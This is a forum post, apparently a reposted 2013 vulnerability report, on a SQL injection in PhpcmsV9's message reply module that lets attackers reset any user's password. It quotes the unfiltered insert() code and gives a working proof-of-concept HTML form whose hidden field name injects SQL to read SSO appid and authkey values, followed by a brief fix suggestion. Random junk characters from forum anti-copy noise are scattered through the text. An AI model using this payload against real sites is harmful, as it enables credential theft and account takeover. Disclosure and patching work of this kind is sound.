找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2248|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:' H3 x4 J* l7 s+ r% }+ z
/ H0 l8 m$ K: L$ d
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。$ g1 b+ L: Z7 g1 o9 A
8 a' t1 G' L& E9 a. ]0 ^' W
明天再更新下一个漏洞。# E+ j# x3 D4 Q$ x( _
详细说明:1 n1 z9 n" |# s' B6 F
在/phpcms9/phpcms/modules/message/index.php中有代码如下:' i5 ^! q7 Y/ K' i1 \# l( v
8 y7 f4 d. t3 G+ h+ h* f) g
$messageid = $this->message_db->insert($_POST['info'],true);: e6 q) x7 C5 w- T( g, ]1 V: g

' k1 H% g4 O5 [
- m: Y. w8 t4 o- j' G) w7 N7 linsert方法是key value的,代码如下:% Y) i: U; u3 |) O
! n0 B4 P7 v. q* e
public function insert($data, $table, $return_insert_id = false, $replace = false) {
+ ~$ x: |4 B0 c6 }9 h4 D  G* `                if(!is_array( $data ) || $table == '' || count($data) == 0) {0 `1 `0 F1 S$ w  ^9 _* |, H4 D
                        return false;
" {) O6 B2 t2 g. s  w4 L                }/ B5 h$ V8 {9 q2 g% B. y! o1 I
               
5 v* `0 J; H. K( K                $fielddata = array_keys($data);
* Q! f! ]7 H; N& X9 c                $valuedata = array_values($data);
# {# h6 m9 V/ A& v; F                array_walk($fielddata, array($this, 'add_special_char'));8 ~6 B/ k7 }. \4 ]
                array_walk($valuedata, array($this, 'escape_string'));8 T0 z( ~! V" m  i
               
6 N2 `* ~' b* Y                $field = implode (',', $fielddata);
# t# q* m: H  y. J$ k0 D0 k# Y# `                $value = implode (',', $valuedata);
2 s3 r4 v, F6 E" w, F
* K' N' u  F0 ?! f  q                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
, s4 I& X" V% o. u3 J7 d# s                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
, @0 x2 x8 S) [$ f- g  c- Q, r                $return = $this->execute($sql);
: h# p2 ^/ _9 O& x5 K3 I+ V; `                return $return_insert_id ? $this->insert_id() : $return;
+ D' |$ w& A4 h; w# a3 l9 x6 v        }6 \) |' Y1 ]% T$ {, O0 M

3 l! P- ?- f5 x# N9 k4 O8 n
4 n2 r* z1 h) f, E3 x嗯,很遗憾的是
: e8 m& E' n8 ^$ \1 O
+ T+ P: o/ v/ T1 }% Z$ c; Xarray_walk($fielddata, array($this, 'add_special_char'));
) h  t' t0 j) C( r9 P" i
- ]2 R! q; ?6 I* E) X  T
/ T7 z% H) e" @4 g1 P中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
$ ^, \6 U/ y4 e1 f  i5 B- P- n1 {0 c& b7 Q* ^1 G; k( ~& i
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
  u, D7 E! w$ `( [6 c* ^8 K9 ^
8 H/ q" @- L% q2 Z$ x' s5 q) r0 F漏洞证明:3 S* l0 a& k' A$ s, }& n
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
# n+ I; |! a9 a  |4 h$ V
- g' b$ [  ]  {1 _4 M6 v
% S* W, E5 G' y- `" M% Q& p, ~5 o表单如下:用户名什么的得自己改一改。+ n9 p1 d0 R/ a1 n
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
8 w; f- i3 U8 v* a- b<table width="100%" cellspacing="0" class="table_form">
: W; p" m, E5 [4 V<tr>* P7 N9 j7 Z/ Y7 @1 z
<th>标 题:</th>& R) i8 ^  o( v0 j
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
/ v- E- x( c/ e6 e</tr>
5 M, s9 @% L+ T6 r<tr>
" h! Q/ `2 R- k) ^4 H<th>内 容:</th>/ `& {, k6 i' O4 ?
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
: L! g' Z/ X, O</tr>
. x9 n: h1 b1 u+ z% z# E<input type="hidden" name="info[replyid]" value="2" />
( {# [, Y7 o8 ^7 o; F# |<input type="hidden" name="info[send_to_id]" value="cc" /> * Z5 E0 ^' z' o
<input type="hidden" name="info[send_from_id]" value="hh"># j2 p8 s' E2 d% e, H2 A, L3 y  S
<!-- 漏洞的利用重点在这里开始 -->
* P. a' k. [, @' e2 u7 `<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
- d/ `. X. [' {8 e, y+ H* f0 B# c<!-- 漏洞的利用重点在这里结束 -->
5 ?0 {2 V$ z2 {6 ~) _6 E9 d<tr>5 n+ L3 B; a; X. Q: Q8 N
<th>验证码:</th>. q7 l1 V9 r$ e2 G, N0 y+ g# x
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
% r2 j* u; [7 P) C6 M</tr>
, c, a2 o6 p  C7 p<tr>% ~" K; v7 s2 Y$ R
<td></td>4 L) X2 y8 U! u" R8 Q0 G6 `
<td colspan="2"><label>
3 D: @0 q0 R4 |0 S<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
& o. g7 E' @/ S7 O3 O5 ~</label></td>: y/ a3 j0 k# V
</tr>
1 Y: X  Z# j- \$ T9 _</table>' ~9 I% ]$ ?9 f3 Z% t+ l
</form>
* Q' r: Q% L! d+ t. w4 ]在add_special_char函数内对key做过滤就可以了。% {! R) P3 N# e! S0 B

# P& w" q$ f+ o
# C6 A8 E5 E" m% @% t2 n
' r8 i" {" H2 e; H( E+ w0 s- G

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表